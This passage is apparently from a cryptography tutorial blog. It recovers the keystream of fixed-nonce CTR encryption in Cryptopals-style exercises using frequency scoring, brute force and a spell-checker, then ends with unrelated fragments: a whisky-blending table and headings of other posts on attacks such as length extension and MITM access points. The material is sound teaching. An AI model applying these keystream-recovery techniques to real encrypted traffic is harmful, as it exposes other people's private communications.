...         g = brute_force(c, all_ascii_printable, byte_guess)
...
...     byte_guess = g
...     guesses.append(byte_guess)

Let’s peek how large is our key stream (determined by how we cut the ciphertexts with uniform_length) and how many different keys we have (we are still guessing so there is not one single answer yet)

>>> klength = len(guesses)
>>> klength
53

>>> from cryptonita.fuzzy_set import len_join_fuzzy_sets
>>> len_join_fuzzy_sets(guesses)
1690

Considere for a moment those numbers. Of 53 characters we initially have a key space of $256^{53}$, a number that has more than 100 digits.

But with a frequency attack and a good score function we managed to reduce the key space to only 1690.

How close are out guesses?

Let’s build the key stream (still a guess):

>>> from cryptonita.fuzzy_set import join_fuzzy_sets
>>> kstream_guess = join_fuzzy_sets(guesses, cut_off=0, j=B(''))

Now, we take the most likely of our guesses:

>>> kstream = kstream_guess.most_likely()

However this is not enough. This key stream is not the correct one:

>>> tplaintexts[0] == tciphertexts[0] ^ kstream
False

But we are very close:

>>> sum(p == q for p, q in zip(tplaintexts[0], tciphertexts[0] ^ kstream)) / klength
0.9811<...>

Not only it is very close, the true key stream is there, in one of our guesses!

>>> any(tplaintexts[0] == tciphertexts[0] ^ kstream for kstream in kstream_guess)
True

But how we can pick it without cheating? without using tplaintexts as it is supposed to be the unknown here?

Yes, with more brute force!

Speller based score

Brute force, but clever.

We can use a score based on well English written text using a speller

In this case, good_written_word_score takes a aspell.Speller and it will return a score based on how many words in the deciphered text are correctly spelled (weighting each word by its length)

>>> import aspell
>>> from cryptonita.scoring import good_written_word_score

>>> score = partial(good_written_word_score, speller=aspell.Speller(), word_weight_fun=len)

>>> kstream_guess = brute_force(tciphertexts[0], score, kstream_guess)
>>> kstream_guess.cut_off(n=10)

>>> [(p, tciphertexts[0] ^ kstr) for kstr, p in kstream_guess.sorted_items()]     # byexample: +norm-ws
[(1.4946588552783956e-56,   'I\'m rated "R"...this is a warning, ya better void / P'),
 (1.4036747792866314e-56,   'N\'m rated "R"...this is a warning, ya better void / P'),
 (7.026934200276732e-57,    'I\'m ratede"R"...this is a warning, ya better void / P'),
 (6.374212793632498e-57,    'N\'m ratede"R"...this is a warning, ya better void / P'),
 (5.972894070235226e-57,    'I\'m rated "R"...this is a warning, yaebetter void / P'),
 (5.490470454496446e-57,    'I\'m rated "R"...t\'is is a warning, ya better void / P'),
 (5.265568867883322e-57,    'I\'m rated "R"...t&is is a warning, ya better void / P'),
 (5.25603393501155e-57,     'I\'m rated "R"...t!is is a warning, ya better void / P'),
 (5.249351712403237e-57,    'N\'m rated "R"...this is a warning, yaebetter void / P'),
 (5.156250121008111e-57,    'N\'m rated "R"...t\'is is a warning, ya better void / P')]

Our winner is on the top!

>>> kstream = kstream_guess.most_likely()
>>> tciphertexts[0] ^ kstream == tplaintexts[0]
True

About undistinguishable

Unless we have more knowledge about the plaintexts, we cannot distinguish between i'm rated and I'm rated. :´|

The fact that we hit the correct key stream comes from “we guessed” that the first letter was in uppercase.

Full break (enjoy!)

⊕ Break fixed-nonce CTR statistically

>>> all(p == c ^ kstream for p, c in zip(tplaintexts, tciphertexts))
True

>>> [(c ^ kstream) for c in tciphertexts]
['I\'m rated "R"...this is a warning, ya better void / P',
 'Cuz I came back to attack others in spite- / Strike l',
 "But don't be afraid in the dark, in a park / Not a sc",
 'Ya tremble like a alcoholic, muscles tighten up / Wha',
 'Suddenly you feel like your in a horror flick / You g',
 "Music's the clue, when I come your warned / Apocalyps",
 "Haven't you ever heard of a MC-murderer? / This is th",
 'Death wish, so come on, step to this / Hysterical ide',
 'Friday the thirteenth, walking down Elm Street / You ',
 'This is off limits, so your visions are blurry / All ',
 "Terror in the styles, never error-files / Indeed I'm ",
 'For those that oppose to be level or next to this / I',
 "Worse than a nightmare, you don't have to sleep a win",
 'Flashbacks interfere, ya start to hear: / The R-A-K-I',
 'Then the beat is hysterical / That makes Eric go get ',
 'Soon the lyrical format is superior / Faces of death ',
 "MC's decaying, cuz they never stayed / The scene of a",
 "The fiend of a rhyme on the mic that you know / It's ",
 'Melodies-unmakable, pattern-unescapable / A horn if w',
 'I bless the child, the earth, the gods and bomb the r',
 'Hazardous to your health so be friendly / A matter of',
 "Shake 'till your clear, make it disappear, make the n",
 "If not, my soul'll release! / The scene is recreated,",
 'Cuz your about to see a disastrous sight / A performa',
 'Lyrics of fury! A fearified freestyle! / The "R" is i',
 "Make sure the system's loud when I mention / Phrases ",
 'You want to hear some sounds that not only pounds but',
 'Then nonchalantly tell you what it mean to me / Stric',
 "And I don't care if the whole crowd's a witness! / I'",
 'Program into the speed of the rhyme, prepare to start',
 "Musical madness MC ever made, see it's / Now an emerg",
 "Open your mind, you will find every word'll be / Furi",
 "Battle's tempting...whatever suits ya! / For words th",
 "You think you're ruffer, then suffer the consequences",
 'I wake ya with hundreds of thousands of volts / Mic-t',
 'Novocain ease the pain it might save him / If not, Er',
 "Yo Rakim, what's up? / Yo, I'm doing the knowledge, E",
 'Well, check this out, since Norby Walters is our agen',
 'Kara Lewis is our agent, word up / Zakia and 4th and ',
 "Okay, so who we rollin' with then? We rollin' with Ru",
 'Check this out, since we talking over / This def beat',
 'I wanna hear some of them def rhymes, you know what I',
 "Thinkin' of a master plan / 'Cuz ain't nuthin' but sw",
 'So I dig into my pocket, all my money is spent / So I',
 "So I start my mission, leave my residence / Thinkin' ",
 'I need money, I used to be a stick-up kid / So I thin',
 "I used to roll up, this is a hold up, ain't nuthin' f",
 "But now I learned to earn 'cuz I'm righteous / I feel",
 'Search for a nine to five, if I strive / Then maybe I',
 "So I walk up the street whistlin' this / Feelin' out ",
 'A pen and a paper, a stereo, a tape of / Me and Eric ',
 'Fish, which is my favorite dish / But without no mone',
 "'Cuz I don't like to dream about gettin' paid / So I ",
 'So now to test to see if I got pull / Hit the studio,',
 'Rakim, check this out, yo / You go to your girl house',
 "'Cause my girl is definitely mad / 'Cause it took us ",
 "Yo, I hear what you're saying / So let's just pump th",
 'And count our money / Yo, well check this out, yo Eli',
 'Turn down the bass down / And let the beat just keep ',
 'And we outta here / Yo, what happened to peace? / Pea']

Break fixed-nonce CTR - Second chance

⊕ Break fixed-nonce CTR mode using substitutions

Let’s take another set of plaintexts, encrypt them with a fixed-nonce CTR and break the encryption.

>>> plaintexts = list(load_bytes('./posts/matasano/assets/19.txt', encoding=64))
>>> ciphertexts = [enc_ctr(p, cfg.key, cfg.nonce) for p in plaintexts]

>>> tplaintexts = uniform_length(plaintexts)
>>> tciphertexts = uniform_length(ciphertexts)
>>> tciphertexts_transposed = transpose(tciphertexts)

>>> guesses = []
>>> for i, c in enumerate(tciphertexts_transposed):
...     if i == 0:  # first letter, use a special statistical model
...         most_common = etaoin_shrdlu()
...     else:
...         most_common = etaoin_shrdlu()
...
...     byte_guess = freq_attack(c, most_common, 1)
...     g = brute_force(c, partial(fit_freq_score, expected_prob=most_common), byte_guess)
...     if not g:   # fit_freq_score was too hard, rollback to a more soft score func
...         g = brute_force(c, all_ascii_printable, byte_guess)
...
...     byte_guess = g
...     guesses.append(byte_guess)

>>> klength = len(guesses)
>>> klength
20

>>> len_join_fuzzy_sets(guesses)
2496

>>> kstream_guess = join_fuzzy_sets(guesses, cut_off=0, j=B(''))
>>> kstream = kstream_guess.most_likely()

>>> tciphertexts[1] ^ kstream
'c*ming {ith vivid fa'

Quite close. By manual inspection the correct plaintext should be Coming with vivid fa.

With a known plaintext breaking the rest of the key bytes is trivial:

>>> correction = tciphertexts[1] ^ kstream ^ B(b'Coming with vivid fa')
>>> kstream = kstream ^ correction

>>> all(p == c ^ kstream for p, c in zip(tplaintexts, tciphertexts))
True

>>> [(c ^ kstream) for c in tciphertexts]
['I have met them at c',
 'Coming with vivid fa',
 'From counter or desk',
 'Eighteenth-century h',
 'I have passed with a',
 'Or polite meaningles',
 'Or have lingered awh',
 'Polite meaningless w',
 'And thought before I',
 'Of a mocking tale or',
 'To please a companio',
 'Around the fire at t',
 'Being certain that t',
 'But lived where motl',
 'All changed, changed',
 'A terrible beauty is',
 "That woman's days we",
 'In ignorant good wil',
 'Her nights in argume',
 'Until her voice grew',
 'What voice more swee',
 'When young and beaut',
 'She rode to harriers',
 'This man had kept a ',
 'And rode our winged ',
 'This other his helpe',
 'Was coming into his ',
 'He might have won fa',
 'So sensitive his nat',
 'So daring and sweet ',
 'This other man I had',
 'A drunken, vain-glor',
 'He had done most bit',
 'To some who are near',
 'Yet I number him in ',
 'He, too, has resigne',
 'In the casual comedy',
 'He, too, has been ch',
 'Transformed utterly:',
 'A terrible beauty is']

Final thoughts

ETAOIN SHRDLU is a statistical model for letter frequency in English and it was used to break most of the key stream bytes but its strength depends exclusively in how well the model represents the underlying plaintext.

For the case of the first letter of all the plaintexts it was upper case and the ETAOIN SHRDLU model didn’t work and it was extended later.

Once that we have a guess, filter them out requires more knowledge about the plaintext.

Requiring to be the decrypted text plain ASCII is simple but too open; requiring to follow the English statistical model using a Chi-square test (fit_freq_score) is stricter.

However, like before, the statistical model only applies for long sequences (samples) and only if the underlying plaintexts are what one could expect.

A liberal scoring function like all_ascii_printable serves as a backup and it is better than nothing.

Even with all of this, the most likely key stream guess may not be the correct one, inclusive, none of the key stream guesses may be the correct one!

Correcting a key stream using more information about the plaintext like using a speller can narrow the search area further but there is no warranties.

Sometimes you will need to relay in your own brain and do a manual fix.

Whisky	Sales Price	Recipe
\(E\)	\(680\)	No less than 60% of \(A\), no more than 20% of \(C\)
\(F\)	\(570\)	No less than 15% of \(A\), no more than 80% of \(C\)
\(G\)	\(450\)	No more than 50% of \(C\)

Licor	Stock	Price
\(A\)	\(2000\)	\(700\)
\(B\)	\(2500\)	\(500\)
\(C\)	\(1200\)	\(400\)

\(A_E\)	\(A_F\)	\(A_G\)	→ \(A\)
\(B_E\)	\(B_F\)	\(B_G\)	→ \(B\)
\(C_E\)	\(C_F\)	\(C_G\)	→ \(C\)
↓	↓	↓
\(E\)	\(F\)	\(G\)

The Book of Gehn

Lessons Learnt on Refactoring Without Breaking

The price of breaking backward compatibility

Lesson 1: minimize the changes

Lesson 2: if you break too much, stop and step back

Lesson 3: do incomplete throw-away refactors, keep all tests passing

Lesson 4: if decoupling is hard, isolate first (with spies)

Lesson 5: chop-chop, one small bite at time

Summary

Greenwald-Khanna e-approximated q-quantile - a review

Square one: what is wrong with using a sorted array?

Implicit (computed) ranks

Don’t keep all, remove some tuples

Minimum and maximum ranks

Insert, revised

Removed tuples count, revised

Answer, revised

Invariant of the summary: we can always guarantee to answer any rank

Amortization via deferring inserts

Wrapping all together

So, which are the discrepancies with Greenwald-Khanna’s work?

Typo in the invariant

Compress and bands

Initial \(\Delta_i\)

Minimum is not preserved

Conclusions

Future work

Behind `memcpy`/`memmove`: overlap, words and alignment

Copy one byte at time - bytecopy

Copy multiple bytes at time - wordcopy and blockcopy

Overlapping areas

Alignment

Eventually src and dst get aligned

Only dst gets eventually aligned

My take aways

Man in the Middle Access Point

Setup a wireless card as an access point

Configure a DHCP and assign IP addresses

Configure a DNS server

Route the target’s packets

Route packets from the target

Route packets to the target

Ensure full control of the DNS

Finally thoughts

Follow up: Length Extension Attack on SHA-224

What is SHA-224?

Scenario setup

The attack

Final thoughts

Keyed Hash Length Extension Attack

Overview of keyed SHA-1

Hash’s states

Length Extension Attack

Proof of concept (code!)

Get the hash state from the MAC

Guess the padding

Login as admin

Beyond SHA-1

Tabulation Hashing Implementation and Analysis

What is a tabulation hashing?

cython implementation

Hash a vector of keys

Runtime performance

Noise measurement evaluation

Conclusions and further research

Key Recovering from CBC with `IV = K`{.mathjax}

Setup

Chosen ciphertext

Key recovering

Diff Between Data Frames for Testing

Comparison row-by-row (the naive approach)

Make the comparison order-insensitive

Comparing group-by-group

Putting all this together

Examples

Compress Old Audio Files

Encoders & containers

Bit rates

Scripting

Results

Eventually `src` and `dst` get aligned

Only `dst` gets eventually aligned

`cython` implementation

Make `pyte` really fast!

`Screen.display`

`Stream.feed`

`Screen.reset`

Overview of `cgroup` organization

`domain` cgroups

`domain threaded` and `threaded` cgroups

`domain invalid`

Life time of a `domain threaded`

`cgroup` hierarchical organization

`multiprocessing`’s start method

`pickle`-ing a callable

`ForkingPickler`: a detail